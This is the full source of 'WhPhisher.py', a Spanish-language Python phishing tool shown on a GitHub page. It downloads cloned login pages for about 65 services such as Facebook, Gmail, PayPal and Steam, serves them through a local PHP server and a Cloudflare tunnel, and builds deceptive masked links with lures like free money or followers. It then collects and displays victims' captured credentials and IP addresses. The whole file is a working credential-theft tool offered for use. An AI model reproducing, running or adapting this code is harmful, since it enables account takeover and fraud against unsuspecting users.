-
Notifications
You must be signed in to change notification settings - Fork 17
/
WhPhisher.py
819 lines (772 loc) · 30.4 KB
/
WhPhisher.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
# -*- coding: UTF-8 -*-
# Herramienta : WhPhisher
# Author : W
"""
{
__ ___ ____ _ _ _
\ \ / / |__ | _ \| |__ (_)___| |__ ___ _ __
\ \ /\ / /| '_ \| |_) | '_ \| / __| '_ \ / _ \ '__|
\ V V / | | | | __/| | | | \__ \ | | | __/ |
\_/\_/ |_| |_|_| |_| |_|_|___/_| |_|\___|_|
Phishing tool
I am not responsible for the misuse that can be given when editing this code: v
"""
import os, sys, time, socket, json
from os import popen, system
from time import sleep
# Normal
black="\033[0;30m"
red="\033[0;31m"
bred="\033[1;31m"
green="\033[0;32m"
bgreen="\033[1;32m"
yellow="\033[0;33m"
byellow="\033[1;33m"
blue="\033[0;34m"
bblue="\33[1;34m"
purple="\033[0;35m"
bpurple="\033[1;35m"
cyan="\033[0;36m"
bcyan="\033[1;36m"
white="\033[0;37m"
bwhite="\033[1;37m"
nc="\033[00m"
version="2.5"
ask = bgreen + '[' + bwhite + '-' + bgreen + '] '+ byellow
success = byellow + '[' + bwhite + '√' + byellow + '] '+bgreen
error = bblue + '[' + bwhite + '!' + bblue + '] '+bred
info= byellow + '[' + bwhite + '+' + byellow + '] '+ bcyan
info2= bgreen + '[' + bwhite + '•' + bgreen + '] '+ bpurple
# Logo
logo=f'''
{white}- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
{bcyan } __ ___ ____ _ _ _
{bpurple} \ \ / / |__ | _ \| |__ (_)___| |__ ___ _ __
{bcyan } \ \ /\ / /| '_ \| |_) | '_ \| / __| '_ \ / _ \ '__|
{bpurple} \ V V / | | | | __/| | | | \__ \ | | | __/ |
{bcyan } \_/\_/ |_| |_|_| |_| |_|_|___/_| |_|\___|_| {bred}v.2.5
{byellow}----> {bcyan}By {bwhite}Uvedoble {bcyan}Github {bwhite}WhBeatZ {byellow}<-----
{white}- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
'''
sites=["Facebook Traditional", "Facebook Voting","Facebook Security", "Messenger", "Instagram Traditional", "Insta Auto Followers", "Insta 1000 Followers", "Insta Blue Verify", "Gmail Old", "Gmail New","Gmail Poll","Microsoft","Netflix","Paypal","Steam","Twitter","PlayStation","TikTok","Twitch","Pinterest","SnapChat", "LinkedIn","Ebay","Quora","Protonmail","Spotify","Reddit","Adobe","DevianArt","Badoo","Clash Of Clans","Ajio","JioRouter","FreeFire","Pubg","Telegram","Youtube","Airtel","SocialClub","Ola","Outlook","Amazon","Origin","DropBox","Yahoo","WordPress","Yandex","StackOverflow","VK","VK Poll","Xbox","Mediafire","Gitlab","Github","Apple","iCloud","Shopify","Myspace","Shopping","Cryptocurrency","SnapChat2","Verizon","Wi-Fi","Discord","Roblox","Custom"]
pkgs=[ "php", "curl", "wget", "unzip" ]
socket.setdefaulttimeout(30)
root= popen("cd $HOME && pwd").read().strip()
# Check termux
if os.path.exists("/data/data/com.termux/files/home"):
termux=True
else:
termux=False
# Get package manager
if system("command -v apt > /dev/null 2>&1")==0:
apt=True
else:
apt=False
if system("command -v apt-get > /dev/null 2>&1")==0:
aptget=True
else:
aptget=False
if system("command -v sudo > /dev/null 2>&1")==0:
sudo=True
else:
sudo=False
if system("command -v pacman > /dev/null 2>&1")==0:
pacman=True
else:
pacman=False
if system("command -v yum > /dev/null 2>&1")==0:
yum=True
else:
yum=False
if system("command -v dnf > /dev/null 2>&1")==0:
dnf=True
else:
dnf=False
if system("command -v brew > /dev/null 2>&1")==0:
brew=True
else:
brew=False
if system("command -v apk > /dev/null 2>&1")==0:
apk=True
else:
apk=False
# Website chooser
def options():
leng=len(sites)
i=0
j=int(leng/3)
k=int((2*leng)/3)
if leng%3!=0:
j+=1
k+=1
m=j
while i<m:
print(green+'['+bwhite+str(i+1)+bgreen+'] '+bcyan+sites[i], end="")
lew=len(sites[i])
sp=22-lew
if i<9:
sp=sp+1
for s in range(sp):
print(" ",end="")
print(green+'['+bwhite+str(j+1)+bgreen+'] '+bcyan+sites[j], end="")
lew=len(sites[j])
sp=16-lew
for s in range(sp):
print(" ",end="")
if k<leng:
print(green+'['+bwhite+str(k+1)+bgreen+'] '+bcyan+sites[k], end="")
i+=1
j+=1
k+=1
print()
print()
print(green+'['+bwhite+'x'+bgreen+']'+byellow+' Acerca de '+bgreen+'['+bwhite+'m'+bgreen+']'+byellow+' Mas herramientas '+bgreen+'['+bwhite+'0'+bgreen+']'+byellow+' Salir')
print()
print()
# Process killer
def killer():
if system("pidof php > /dev/null 2>&1")==0:
system("killall php")
if system("pidof cloudflared > /dev/null 2>&1")==0:
system("killall cloudflared")
if system("pidof curl > /dev/null 2>&1")==0:
system("killall curl")
if system("pidof wget > /dev/null 2>&1")==0:
system("killall wget")
if system("pidof unzip > /dev/null 2>&1")==0:
system("killall unzip")
# Update of WhPhisher
def update():
internet()
git_ver=popen("curl -s -N https://raw.githubusercontent.com/WhBeatZ/WhPhisher/main/files/version.txt").read().strip()
if (version != git_ver and git_ver != "404: Not Found"):
system("clear")
changelog=popen("curl -s -N https://raw.githubusercontent.com/WhBeatZ/WhPhisher/main/files/changelog.log").read()
print(logo)
print(f"{info}WhPhisher tiene una actualizacion!\n{info2}Actual: {bred}{version}\n{info}Disponible: {bgreen}{git_ver}\n")
upask=input(ask+"Quieres actualizar WhPhisher (recomendado) pulsa [y] para actualizar o [n] para cancelar --> "+bwhite)
if upask=="y":
print(nc)
system("cd .. && rm -rf WhPhisher && git clone https://github.com/WhBeatZ/WhPhisher.git && cd WhPhisher && python3 WhPhisher.py")
sprint("\n"+success+"WhPhisher se instalo correctamente :)!! Reinicia la terminal :D!\n")
if (changelog != "404: Not Found"):
print(info2+"Cambios :D:\n"+bcyan+changelog)
exit()
elif upask=="n":
print("\n"+info+"Actualizacion cancelada, usando la antigua version :(!")
sleep(2)
else:
print("\n"+error+"No disponible!\n")
sleep(2)
# Print logo
def slowprint(n):
for word in n + '\n':
sys.stdout.write(word)
sys.stdout.flush()
time.sleep(0.001)
# Print lines
def sprint(n):
for word in n + '\n':
sys.stdout.write(word)
sys.stdout.flush()
time.sleep(0.01)
# Internet Checker
def internet(host="8.8.8.8", port=53, timeout=5):
try:
socket.setdefaulttimeout(timeout)
socket.socket(socket.AF_INET, socket.SOCK_STREAM).connect((host, port))
except socket.error:
print(error+"Sin internet :c")
time.sleep(2)
internet()
# Install packages in Termux and Mac
def installer(pm):
for pkg in range(0, len(pkgs)):
if system("command -v "+pkgs[pkg]+" > /dev/null 2>&1")!=0:
sprint("\n"+info+"Instalando hacker :D!!"+pkgs[pkg].upper()+nc)
system(pm+" install -y "+pkgs[pkg])
# Install packages in Linux
def sudoinstaller(pm):
for pkg in range(0, len(pkgs)):
if system("command -v "+pkgs[pkg]+" > /dev/null 2>&1")!=0:
sprint(info+"Instalando "+pkgs[pkg].upper()+nc)
system("sudo "+pm+" install -y "+pkgs[pkg])
# Ask to mask url
def cuask(url):
cust= input("\n"+ask+bcyan+"Pulsa (" +bwhite+ "y" +bcyan+") para personalizar el" +byellow+ " link" +bcyan+" o (" +bwhite+ "ENTER" +bcyan+ ") para continuar sin hacer cambios" +byellow+ " -->" +bwhite+ " ")
if not cust=="":
masking(url)
waiter()
# Polite Exit
def pexit():
killer()
sprint("\n"+info2+bcyan+"Gracias por usar " +bwhite+ "WhPhisher! " +bcyan+ "By uvedoble" +byellow+ "--> " +bwhite+ "WhBeatZ" +bcyan+ " :D\n"+nc)
exit(0)
# Info about tool
def about():
system("clear")
slowprint(logo)
print(bcyan+'[Nombre de la herramienta] '+bpurple+' :[WhPhisher] ')
print(bcyan+'[Version] '+bpurple+' :[2.5]')
print(bcyan+'[Author] '+bpurple+' :[WhBeatZ] ')
print(bcyan+'[Github] '+bpurple+' :[https://github.com/WhBeatZ] ')
print(bcyan+'[Instagram] '+bpurple+' :[WhBeatZ] ')
print()
print(bgreen+'['+bwhite+'0'+bgreen+']'+byellow+' Salir '+ bgreen+'['+bwhite+'99'+bgreen+']'+byellow+' Menu Principal ')
print()
abot= input("\n > ")
if abot== "0":
pexit()
else:
main()
# First function main
def main():
internet()
if termux:
if system("command -v proot > /dev/null 2>&1")!=0:
system("pkg install proot -y")
system("pkg install curl")
system("pkg install ssh")
system("pkg install openssh")
system("pkg install bash")
system("pkg upgrade && update")
if True:
if sudo and apt:
sudoinstaller("apt")
elif sudo and apk:
sudoinstaller("apk")
elif sudo and yum:
sudoinstaller("yum")
elif sudo and dnf:
sudoinstaller("dnf")
elif sudo and aptget:
sudoinstaller("apt-get")
elif sudo and pacman:
for pkg in range(0, len(pkgs)):
if system("command -v "+pkgs[pkg]+" > /dev/null 2>&1")!=0:
sprint("\n"+info+"Installing "+pkgs[pkg].upper()+nc)
system("sudo pacman -S "+pkgs[pkg]+" --noconfirm")
elif brew:
installer("brew")
elif apt:
installer("apt")
else:
sprint("\n"+error+"Unsupported package manager. Install packages manually!"+nc)
exit(1)
if system("command -v php > /dev/null 2>&1")!=0:
sprint(error+"PHP cannot be installed. Install it manually!")
exit(1)
if system("command -v unzip > /dev/null 2>&1")!=0:
sprint(error+"Unzip cannot be installed. Install it manually!")
exit(1)
if system("command -v curl > /dev/null 2>&1")!=0:
sprint(error+"Curl cannot be installed. Install it manually!")
exit(1)
killer()
x=popen("uname -m").read()
y=popen("uname").read()
if not os.path.isfile(root+"/.cffolder/cloudflared"):
sprint("\n"+info+"Descargando Cloudflare :D ....."+nc)
internet()
system("rm -rf cloudflared cloudflared.tgz")
if y.find("Linux")!=-1:
if x.find("aarch64")!=-1:
system("wget -q --show-progress https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm64 -O cloudflared")
elif x.find("arm")!=-1:
system("wget -q --show-progress https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm -O cloudflared")
elif x.find("x86_64")!=-1:
system("wget -q --show-progress https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64 -O cloudflared")
else:
system("wget -q --show-progress https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-386 -O cloudflared")
elif y.find("Darwin")!=-1:
if x.find("x86_64")!=-1:
system("wget -q --show-progress 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-darwin-amd64.tgz' -O 'cloudflared.tgz'")
system("tar -zxf cloudflared.tgz > /dev/null 2>&1 && rm -rf cloudflared.tgz")
elif x.find("arm64")!=-1:
print(f"{error}Cloudflared not available for device architecture!")
sleep(3)
else:
print(f"{error}Device architecture unknown. Download cloudflared manually!")
sleep(3)
else:
print(f"{error}Device not supported!")
exit(1)
system("mkdir $HOME/.cffolder")
system("mv -f cloudflared $HOME/.cffolder")
if sudo:
system("chmod +x $HOME/.cffolder/cloudflared")
else:
system("chmod +x $HOME/.cffolder/cloudflared")
if system("pidof php > /dev/null 2>&1")==0:
sprint(error+"Previous php still running! Please restart terminal and try again"+nc)
exit()
while True:
if os.path.exists("/.site"):
system("rm -rf $HOME/.site && cd $HOME && mkdir .site")
break
else:
system("cd $HOME && mkdir .site")
break
while True:
os.system("clear")
slowprint(logo)
options()
choose= input(ask+"Seleciona un numero :) > "+nc)
if choose=="1" or choose == "01":
folder="facebook"
mask="https://blue-verified-facebook-free"
requirements(folder,mask)
elif choose == "2" or choose == "02":
folder="fb_advanced"
mask='https://vote-for-the-best-social-media'
requirements(folder,mask)
elif choose == "3" or choose == "03":
folder="fb_security"
mask='https://make-your-facebook-secured-and-free-from-hackers'
requirements(folder,mask)
elif choose == "4" or choose == "04":
folder="fb_messenger"
mask='https://get-messenger-premium-features-free'
requirements(folder,mask)
elif choose == "5" or choose == "05":
folder="instagram"
mask='https://get-unlimited-followers-for-instagram'
requirements(folder,mask)
elif choose == "6" or choose== "06":
folder="ig_followers"
mask='https://get-unlimited-followers-for-instagram'
requirements(folder,mask)
elif choose == "7" or choose == "07":
folder="insta_followers"
mask='https://get-1000-followers-for-instagram'
requirements(folder,mask)
elif choose == "8" or choose == "08":
folder="ig_verify"
mask='https://blue-badge-verify-for-instagram-free'
requirements(folder,mask)
elif choose == "9" or choose == "09":
folder="google"
mask='https://get-unlimited-google-drive-free'
requirements(folder,mask)
elif choose == "10":
folder="google_new"
mask='https://get-unlimited-google-drive-free'
requirements(folder,mask)
elif choose == "11":
folder="google_poll"
mask='https://vote-for-the-best-social-media'
requirements(folder,mask)
elif choose == "12":
folder="microsoft"
mask='https://unlimited-onedrive-space-for-free'
requirements(folder,mask)
elif choose == "13":
folder="netflix"
mask='https://upgrade-your-netflix-plan-free'
requirements(folder,mask)
elif choose == "14":
folder="paypal"
mask='https://get-500-usd-free-to-your-account'
requirements(folder,mask)
elif choose == "15":
folder="steam"
mask='https://steam-500-usd-gift-card-free'
requirements(folder,mask)
elif choose == "16":
folder="twitter"
mask='https://get-blue-badge-on-twitter-free'
requirements(folder,mask)
elif choose == "17":
folder="playstation"
mask='https://playstation-500-usd-gift-card-free'
requirements(folder,mask)
elif choose == "18":
folder="tiktok"
mask='https://tiktok-free-liker'
requirements(folder,mask)
elif choose == "19":
folder="twitch"
mask='https://unlimited-twitch-tv-user-for-free'
requirements(folder,mask)
elif choose == "20":
folder="pinterest"
mask='https://get-a-premium-plan-for-pinterest-free'
requirements(folder,mask)
elif choose == "21":
folder="snapchat"
mask='https://view-locked-snapchat-accounts-secretly'
requirements(folder,mask)
elif choose == "22":
folder="linkedin"
mask='https://get-a-premium-plan-for-linkedin-free'
requirements(folder,mask)
elif choose == "23":
folder="ebay"
mask='https://get-500-usd-free-to-your-account'
requirements(folder,mask)
elif choose == "24":
folder="quora"
mask='https://quora-premium-for-free'
requirements(folder,mask)
elif choose == "25":
folder="protonmail"
mask='https://protonmail-pro-basics-for-free'
requirements(folder,mask)
elif choose == "26":
folder="spotify"
mask='https://convert-your-account-to-spotify-premium'
requirements(folder,mask)
elif choose == "27":
folder="reddit"
mask='https://reddit-official-verified-member-badge'
requirements(folder,mask)
elif choose == "28":
folder="adobe"
mask='https://get-adobe-lifetime-pro-membership-free'
requirements(folder,mask)
elif choose == "29":
folder="deviantart"
mask='https://get-500-usd-free-to-your-acount'
requirements(folder,mask)
elif choose == "30":
folder="badoo"
mask='https://get-500-usd-free-to-your-acount'
requirements(folder,mask)
elif choose == "31":
folder="clashofclans"
mask='https://get-unlimited-gems-in-your-coc-account'
requirements(folder,mask)
elif choose == "32":
folder="ajio"
mask='https://get-limited-time-discount'
requirements(folder,mask)
elif choose == "33":
folder="jiorouter"
mask='https://get-premium-membership-free'
requirements(folder,mask)
elif choose == "34":
folder="freefire"
mask='https://get-unlimited-diamonds-in-your-ff-account'
requirements(folder,mask)
elif choose == "35":
folder="pubg"
mask='https://get-unlimited-diamonds-in-your-pubg-account'
requirements(folder,mask)
elif choose == "36":
folder="telegram"
mask='https://get-premium-membership-free'
requirements(folder,mask)
elif choose == "37":
folder="youtube"
mask='https://get-1k-like-in-any-video'
requirements(folder,mask)
elif choose == "38":
folder="airtelsim"
mask='https://get-500-cureency-free-to-your-account'
requirements(folder,mask)
elif choose == "39":
folder="socialclub"
mask='https://get-premium-membership-free'
requirements(folder,mask)
elif choose == "40":
folder="ola"
mask='https://book-a-cab-in-discount'
requirements(folder,mask)
elif choose == "41":
folder="outlook"
mask='https://grab-mail-from-anyother-outlook-account-free'
requirements(folder,mask)
elif choose == "42":
folder="amazon"
mask='https://get-limited-time-discount-free'
requirements(folder,mask)
elif choose == "43":
folder="origin"
mask='https://get-500-usd-free-to-your-acount'
requirements(folder,mask)
elif choose == "44":
folder="dropbox"
mask='https://get-1TB-cloud-storage-free'
requirements(folder,mask)
elif choose == "45":
folder="yahoo"
mask='https://grab-mail-from-anyother-yahoo-account-free'
requirements(folder,mask)
elif choose == "46":
folder="wordpress"
mask='https://unlimited-wordpress-traffic-free'
requirements(folder,mask)
elif choose == "47":
folder="yandex"
mask='https://grab-mail-from-anyother-yandex-account-free'
requirements(folder,mask)
elif choose == "48":
folder="stackoverflow"
mask='https://get-stackoverflow-lifetime-pro-membership-free'
requirements(folder,mask)
elif choose == "49":
folder="vk"
mask='https://vk-premium-real-method-2020'
requirements(folder,mask)
elif choose == "50":
folder="vk_pole"
mask='https://vote-for-the-best-social-media'
requirements(folder,mask)
elif choose == "51":
folder="xbox"
mask='https://get-500-usd-free-to-your-acount'
requirements(folder,mask)
elif choose == "52":
folder="mediafire"
mask='https://get-1TB-on-mediafire-free'
requirements(folder,mask)
elif choose == "53":
folder="gitlab"
mask='https://get-1k-followers-on-gitlab-free'
requirements(folder,mask)
elif choose == "54":
folder="github"
mask='https://get-1k-followers-on-github-free'
requirements(folder,mask)
elif choose == "55":
folder="apple"
mask='https://get-apple-premium-account-free'
requirements(folder,mask)
elif choose == "56":
folder="icloud"
mask='https://unlimited-storage-icloud-free'
requirements(folder,mask)
elif choose == "57":
folder="shopify"
mask='https://get-50%-discount-on-any-sale'
requirements(folder,mask)
elif choose == "58":
folder="myspace"
mask='https://get-1k-followers-on-myspace-free-free'
requirements(folder,mask)
elif choose == "59":
folder="shopping"
mask='https://get-50%-discount-on-any-sale'
requirements(folder,mask)
elif choose == "60":
folder="cryptocurrency"
mask='https://get-bitcoins-free'
requirements(folder,mask)
elif choose == "61":
folder="snapchat2"
mask='https://view-locked-snapchat-accounts-secretly'
requirements(folder,mask)
elif choose == "62":
folder="verizon"
mask='https://get-verizon-premium-account-free'
requirements(folder,mask)
elif choose == "63":
folder="wifi"
mask='https://reconnect-your-wifi'
requirements(folder,mask)
elif choose == "64":
folder="discord"
mask='https://security-bot-for-your-discord-free'
requirements(folder,mask)
elif choose == "65":
folder="roblox"
mask='https://play-premium-games-for-free'
requirements(folder,mask)
elif choose == "66":
customfol()
elif choose == "x" or choose == "X":
about()
elif choose == "m" or choose == "M":
main()
elif choose=="0":
pexit()
else:
sprint("\n"+error+"No disponible :v")
main()
# Copy website files from custom location
def customfol():
fol=input("\n"+ask+"Enter the directory > "+green)
if os.path.exists(fol):
if os.path.isfile(fol+"/index.php"):
system("cd "+fol+" && rm -rf ip.txt usernames.txt && cp -r * $HOME/.site")
server()
else:
sprint(error+"Index.php required but not found!")
main()
else:
sprint(error+"Directory do not exists!")
main()
# 2nd function checking requirements and download files
def requirements(folder,mask):
if os.path.isfile("websites.zip"):
system("rm -rf $HOME/.websites && cd $HOME && mkdir .websites")
system("unzip websites.zip -d $HOME/.websites > /dev/null 2>&1")
os.remove("websites.zip")
while True:
if os.path.exists(root+"/.websites/"+folder):
system("cp -r $HOME/.websites/"+folder+"/* $HOME/.site")
break
else:
internet()
sprint("\n"+info+"Desccargando filas requeridas :D.....\n")
system("rm -rf site.zip")
system("wget -q --show-progress https://github.com/WhBeatZ/fileswh/raw/main/phishingsites/"+folder+".zip -O site.zip")
if not os.path.exists("/.websites"):
system("cd $HOME && mkdir .websites")
system("cd $HOME/.websites && mkdir "+folder)
system("unzip site.zip -d $HOME/.websites/"+folder)
os.remove("site.zip")
system("cp -r $HOME/.websites/"+folder+"/* $HOME/.site")
break
with open(".info.txt", "w") as inform:
inform.write(mask)
system("mv -f .info.txt $HOME/.site")
server()
# Start server and tunneling
def server():
system("clear")
slowprint(logo)
if termux:
sprint("\n"+info+"WhPhisher, la mejor herramienta de phishing :D")
sleep(1)
sprint("\n"+info2+"Iniciando el servidor PHP en localhost:8080....")
internet()
system("cd $HOME/.site && php -S 127.0.0.1:8080 > /dev/null 2>&1 &")
sleep(2)
while True:
if not system("curl --output /dev/null --silent --head --fail 127.0.0.1:8080"):
sprint("\n"+info+"El servidor PHP se inició correctamente :)")
break
else:
sprint(error+"PHP Error")
killer()
exit(1)
sprint("\n"+info2+"Iniciando tunneling con la misma direccion :D.....")
internet()
system("rm -fr $HOME/.cffolder/log.txt")
while True:
if system("command -v termux-chroot > /dev/null 2>&1")==0:
system("cd $HOME/.cffolder && termux-chroot ./cloudflared tunnel -url 127.0.0.1:8080 --logfile log.txt > /dev/null 2>&1 &")
break
else:
system("cd $HOME/.cffolder && ./cloudflared tunnel -url 127.0.0.1:8080 --logfile log.txt > /dev/null 2>&1 &")
break
sleep(9)
cflink=popen("cat $HOME/.cffolder/log.txt | grep -o 'https://[-0-9a-z]*\.trycloudflare.com'").read()
if cflink.find("cloudflare")!=-1:
cfcheck=True
else:
cfcheck=False
while True:
if cfcheck:
url_manager(cflink, "1" , "2")
cuask(cflink)
break
elif not cfcheck:
url_manager(cflink, "1" , "2")
cuask(cflink)
# Optional function for ngrok url masking
def masking(url):
website= "https://is.gd/create.php\?format\=simple\&url\="+url
internet()
main1= os.popen("curl -s "+website)
main2=main1.read()
if not main2.find("gd")!=-1:
sprint(error+"Servicio no disponible :c")
waiter()
main= main2.replace("https://", "")
domain= input("\n"+ask+"Escribe el dominio (Ejemplo: facebook.com, snapchat.com > ")
if domain=="":
sprint("\n"+error+"Como??")
bait= input("\n"+ask+"Escribe palabras que describan el link, usando como espacio un - (Ejemplo: inicia-sesion, cuenta-en-peligro) > ")
if (bait==""):
sprint("\n"+error+"No entendi :c!")
sprint("\n"+success+"Tu link es > https://"+ main)
waiter()
if bait.find(" ")!=-1:
sprint("\n"+error+"Mal escrito!")
waiter()
final= "https://"+bait+"@"+main
sprint("\n"+success+"Tu link es > "+ final)
waiter()
if (domain.find("http://")!=-1 or domain.find("https://")!=-1):
bait= input("\n"+ask+"Escribe palabras que describan el link, usando como espacio un - (Ejemplo: inicia-sesion, cuenta-en-peligro) > ")
if (bait==""):
sprint("\n"+error+"No entendi :c!")
final= domain+"@"+main
sprint("\n"+success+"Tu link es > "+ final)
waiter()
if bait.find(" ")!=-1:
sprint("\n"+error+"No entendi :c!")
waiter()
final= domain+"-"+bait+"@"+main
sprint("\n"+success+"Tu link es > "+ final)
waiter()
else:
domain= "https://"+domain
bait= input("\n"+ask+"Escribe palabras que describan el link, usando como espacio un - (Ejemplo: inicia-sesion, cuenta-en-peligro) > ")
if bait=="":
sprint("\n"+error+"No entendi :c!")
final= domain+"@"+main
sprint("\n"+success+"Tu link es > "+ final)
waiter()
if bait.find(" ")!=-1:
sprint("\n"+error+"No entendi!")
waiter()
final= domain+"-"+bait+"@"+main
sprint("\n"+success+"Tu link es > "+ final)
waiter()
# Output urls
def url_manager(url,num1,num2):
internet()
sprint("\n"+success+"Tus links se han generado :D: \n")
system("rm -rf $HOME/.site/ip.txt")
print(info2+"URL "+num1+" > "+bwhite+url)
if os.path.isfile(root+"/.site/.info.txt"):
with open(root+"/.site/.info.txt", "r") as inform:
masked=inform.read()
print(info2+"URL "+num2+" > "+bwhite+masked.strip()+"@"+url.replace("https://",""))
# Last function capturing credentials
def waiter():
sprint("\n"+info+bpurple+"Esperando inicio de sesion...." +bcyan+ " Pulsa "+bred+ "Ctrl+C" +bcyan+" para salir :D")
try:
while True:
if os.path.isfile(root+"/.site/usernames.txt"):
print("\n\n"+success+bgreen+"Credenciales de la Victima encontradas!\n\007")
with open(root+"/.site/usernames.txt","r") as ufile:
userdata=ufile.readlines()
j=0
o=len(userdata)
while j<o:
print(bcyan+'['+bgreen+'*'+bcyan+'] '+byellow+userdata[j],end="")
j+=1
print("\n"+info+"Guardado en usernames.txt")
print("\n"+info+bblue+"Waiting for next....."+bcyan+ "Pulsa "+bred+ "Ctrl+C" +bcyan+ " para salir :D")
system("cat $HOME/.site/usernames.txt >> usernames.txt")
os.remove(root+"/.site/usernames.txt")
sleep(0.75)
if os.path.isfile(root+"/.site/ip.txt"):
os.system("clear")
print(logo)
print("\n\n"+success+bgreen+"IP de la victima encontrada!\n\007")
with open(root+"/.site/ip.txt","r") as ipfile:
ipdata=ipfile.readlines()
h=0
p=len(ipdata)
while h<p:
print(cyan+'['+green+'*'+cyan+'] '+yellow+ipdata[h], end="")
h+=1
print("\n"+info+"Guardado en ip.txt")
print("\n"+info+blue+"Esperando mas informacion "+cyan+ "Pulsa "+red+ "Ctrl+C"+cyan+" para salir")
system("cat $HOME/.site/ip.txt >> ip.txt")
os.system("rm -rf $HOME/.site/ip.txt")
sleep(0.75)
except KeyboardInterrupt:
pexit()
if __name__ == '__main__':
try:
os.system("stty -echoctl")
update()
main()
except KeyboardInterrupt:
pexit()